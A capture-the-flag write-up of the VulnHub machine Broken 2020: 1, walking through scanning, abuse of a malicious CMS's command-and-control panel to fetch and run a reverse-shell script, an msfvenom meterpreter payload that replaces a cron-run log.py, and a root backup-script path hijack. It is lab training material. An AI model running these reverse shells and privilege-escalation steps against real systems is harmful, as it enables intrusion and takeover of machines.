> For the complete documentation index, see [llms.txt](https://kchuene.gitbook.io/offsec-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kchuene.gitbook.io/offsec-docs/vulnhub-writeups/broken-2020-1-by-eusecuinfo.md). # Broken 2020: 1, by EuSecuinfo A boot to root challenge. Consisting of four flags spread across the machine, the final flag being root. Initial access is beginner level, but escalation is intermediate. {% embed url="" %} ## Approach Summary #### Information * Basic identification of target using netdiscover. * Scan target for open port using nmap. #### Analysis * Perform directory listing on HTTP service with ffuf to discover `cms` directory. * Open website in browser #### Exploitation * Install TrustMeCMS backdoor. * Setup reverse shell listener with netcat for `cms` payload and gain initial access. #### Privilege Escalation * Upload reverse shell payload to globally writable and privileged folder to replace `log.py` script owned by `Alice`. * Setup reverse shell listener for privileged cron job execution of `log.py` payload. * Exploit privileged cron job of root ownedd `backup.py` script to archive `root` folder contents with and gain `root` flag. Hi there. In this writeup we'll be going through the vulnhub machine called Broken 2020, uploaded by EuSecuinfo. ## Phase 1: Discovery Since this is a small subnet, we'll go ahead and start by identifying our target's IP. Let's first get ours with the ifconfig command, take note of the subnet mask `255.255.255.0`. ``` ifconfig ```

Having gotten our IPv4 address and subnet mask, which is `255.255.255.0` (meaning we only need to discover `x` for `192.168.56.x`) we will discover live hosts with `netdiscover`. ``` sudo netdiscover -i eth0 -r 192.168.56.1/24 ```

In this case `192.168.56.100` is our attacker machine (supposed to display `192.168.56.111`); identifying all Virtualbox VMs by `PC Systemtechnik GmbH` our target is thus 192.168.56.115. Next we want to see what points of entry in terms of open ports are on the target. We do this with a stealthy SYN scan (`-sS`) on all ports (`-p-`) using nmap. ``` sudo nmap -sS -p- 192.168.56.115 ```

{% hint style="info" %} A SYN scan initiates a handshake by sending a **SYN** packet (Hi, Can I connect?) to the destination port, if the service responds with an **ACK** packet (Hi, You can connect!) then the port is ready to receive connections and so assumed to be open. {% endhint %} Now that we know which ports are open, we can focus our efforts on these ports with deeper scans. We will gather information about the open ports and their services with a version scan and run default enumeration scripts against them. ``` nmap -sV -sC -p 22,80 192.168.56.115 ```

From a quick `searchsploit` scan the versions didn't seem vulnerable. But we at least know the applications behind the services `Apache` and `OpenSSH`, so we know what common files and directories associated with these applications we can look for. Next we explore the services individually, and start with HTTP by visiting the website at the target's IP in our browser.

Looks like the site is under maintenance. One of the scans we'll run on the HTTP service is a bruteforce of the directory listing (the contents of the website's directory). We do this with `ffuf`. {% code overflow="wrap" %} ``` ffuf -u http://192.168.56.115/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic -c ``` {% endcode %}

An interesting find is the `/cms` directory, the rest are just common directories so we'll explore our find first. ## Phase 2: Installing TrustMeCMS backdoor and using C2 panel for Initial Access Navigating to `http://192.168.56.115/cms/` we find a web-based installation wizard for `TrustMeCMS` (could this be their new CMS). We follow the instructions and just press ***"install"***.

*"Oooops, something went wrong."* You might realize that that's the kind of response you'll get when you click on a malicious link and the payload has already executed. The link ***"go here"*** on the next page leads to the website's index page (home), so we follow.

The CMS turns out to have been malicious and has defaced the site, surely this is not all it did right.

Upon getting the first flag, we notice upon scanning the `/cms` folder to get a listing of the cotents {% code overflow="wrap" %} ``` ffuf -u http://192.168.56.115/cms/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic -c ``` {% endcode %}

that a directory `cc` appears. When visiting the directory, as the name implies, we find a Command and Control panel that was likely installed by the cms.

Specifying the *"IP:PORT for the C\&C Server"* likely means that this machine will try to connect back to a C\&C server (and maybe with a shell) so we setup a `netcat` listener on our attacker machine ``` nc -lvp 3517 ```

After specifying the IP:PORT and submitting the form, the machine does indeed connect back to our listener

But it connects with a `GET` request for the resource `bb2229ef3d4caad8fbf1307d9d53e6ce.sh` and because we don't have such a file the process failed

So, let's go ahead and create the bash script and put some sampling commands to see what's will happen ``` touch bb2229ef3d4caad8fbf1307d9d53e6ce.sh mousepad bb2229ef3d4caad8fbf1307d9d53e6ce.sh ```

Then we host the file with a python http server ``` python -m http.server 3517 ```

And after specifying the IP:PORT on the C\&C panel and submitting the form again

we observe that the panel executes the script (as exptected) after downloading it from our server. Now we'll add code to for spawn a reverse shell (have the target connect back to us with a shell) once the script is executed ``` mousepad bb2229ef3d4caad8fbf1307d9d53e6ce.sh ```

Let's setup our listener to catch the reverse connection, then submitting the that form again ``` nc -lvp 3518 ```

And with that the `bb2229ef3d4caad8fbf1307d9d53e6ce.sh` script was executed to give us a reverse shell and initial access to the target. ## Phase 3: Discovering /back directory and root owned backup.py script Our next steps will be to escalated privilege to `root` user (to fully own the system), though we are still the user `www-data`.

To give us a shell that will be able to handle command like sudo (ie. password prompts) we use the script command ``` script -qc /bin/bash /dev/null ``` We start our enumeration by visiting `/home` folder ``` cd /home ls -la ```

We find a user `alice`'s folder and in it is our second flag ``` cd alice ls -la ```

along with a interesting note and script folder ``` cat flag.txt cat note.txt ``` > {FLAG2:**Robing the rober**}

Looks like `root` had suspicions about `TrustMeCMS`, acted a little too late. An important hint however is that he created a ***"a script to clear apache log during the tests**"* (We don't know why this is important yet) Taking a quick look at the script ``` ls -la script cat script/log.py ```

we don't get any ideas, yet, so we move on to look for all file across the system that have something to do with `alice` ``` grep --color=always -r '/' -we "alice" 2>/dev/null ```

And we find the `/back` folder (not so hidden). Let's check it out ``` cd /back ls -la ```

A bunch of scripts and folders and the `backup` folder we find ourselves our third flag and once again a note ``` ls -la backup ```

``` cat flag.txt cat note.txt ``` > {FLAG3:**Power of snak**}

He/she probably got tipped off by the big banner screaming ***"HACKED"*** on it. When we check out the `backup.py` script perhaps responsible for that website backup mentioned in the note ``` cat backup.py ```

we spot a few interesting lines

* The script reads a path provided by `alice` from `/home/alice/backup/path.txt` * and uses `rsync` to copy content from that path to `/home/alice/backup` * the script then changes the permissions on `home/alice/backup` to make it globally accessible, **even subdirectories** what if we could use this process to copy the `/root` folder and access it at `/home/alice/backup` , however we do not have access to `/home/alice/backup` to modify `path.txt` so we reach a pit stop. {% hint style="info" %} The `backup.py` script would have access to the `/root` folder since it is owned by `root` and likely executes as `root`, based on the note left for `alice`. {% endhint %} ## Phase 4: Overwrite log.py script with custom payload to escalate privilege to Alice So after getting some help we go back to `alice`'s script folder, and one of the first things to notice is that the folder is globally writable meaning we can create files in it. ``` cd /home/alice ls -la ```

we notice that the `log.py` script has been running in the background, this proven by the timestamps of when it last cleared logs saved to `clear.log` ``` cd script cat clear.log ```

we observe that it is ran roughly every minute in the background. ``` cat log.py ```

Since the script is owned by `alice` and only alice has execute permissions on it, it runs under alice and our approach here is to overwrite the script with our own specially crafted `log.py` script since the folder is writable, and ofcourse our specially crafted `log.py` script will be reverse shell payload which will thus give us a shell under alice's account. Let's generate that payload **List python payloads** ``` msfvenom -l payloads | grep python ```

**Generate the payload with appropriate options** {% code overflow="wrap" %} ``` msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.56.111 LPORT=3519 -o log.py ``` {% endcode %}

{% hint style="info" %} **LHOST** and **LPORT** is the address:port combination the reverse shell payload will connect back to. {% endhint %} **Setup a meterpreter server to catch the connect back** ``` msfconsole msf6> use multi/handler msf6> set payload python/meterpreter/reverse_tcp_ssl msf6> show options msf6> set LHOST 192.168.56.111 msf6> set LPORT 3519 msf6> run ```

Let's backup the original `log.py` before we upload ours (optional), that is if we don't want to overwrite the original ``` mv log.py log.py.back wget http://192.168.56.111:3517/log.py ```

Now let upload our generated `log.py` script

Give it execute permissions so that it can be ran ``` chmod +x log.py ```

And after waiting we get a reverse connection and our meterpreter session is created

Running the shell on the session (and spawning a suitable shell) ``` meterpreter> shell script -qc /bin/bash /dev/null id ```

we have successfully got a shell under `alice`, now everything alice has access to on the system, we have access to. ## Phase 5: Feed root owned backup.py script path to archive /root folder contents and gain root flag Now having access to `alice`'s account an essentially the `/home/backup/path.txt` we revisit the `backup.py` script ``` cd /back cat backup.py cat backup/note.txt ```

We visit `/home/alice/backup` to see that we now have access to it ``` cd /home/alice ls -la ```

and can modify `path.txt` ``` ls -la backup cat backup/path.txt ```

Now to carry out our final privilege escalation effort to `root` we write the path to the `/root` folder

echo /root > backup/path.txt

And just like with `log.py` the script executes in the background and our first confirmation is the change in permissions on `/home/alice/backup` ``` ls -l ls -la backup ```

and in the `backup` folder we find our treasure... a copy of the `/root` folder

with appropriate ownership and global permissions set, we can access the `root` copy ``` cd backup cd root ls -la ```

and with that our `root` flag. ``` cat flag.txt ```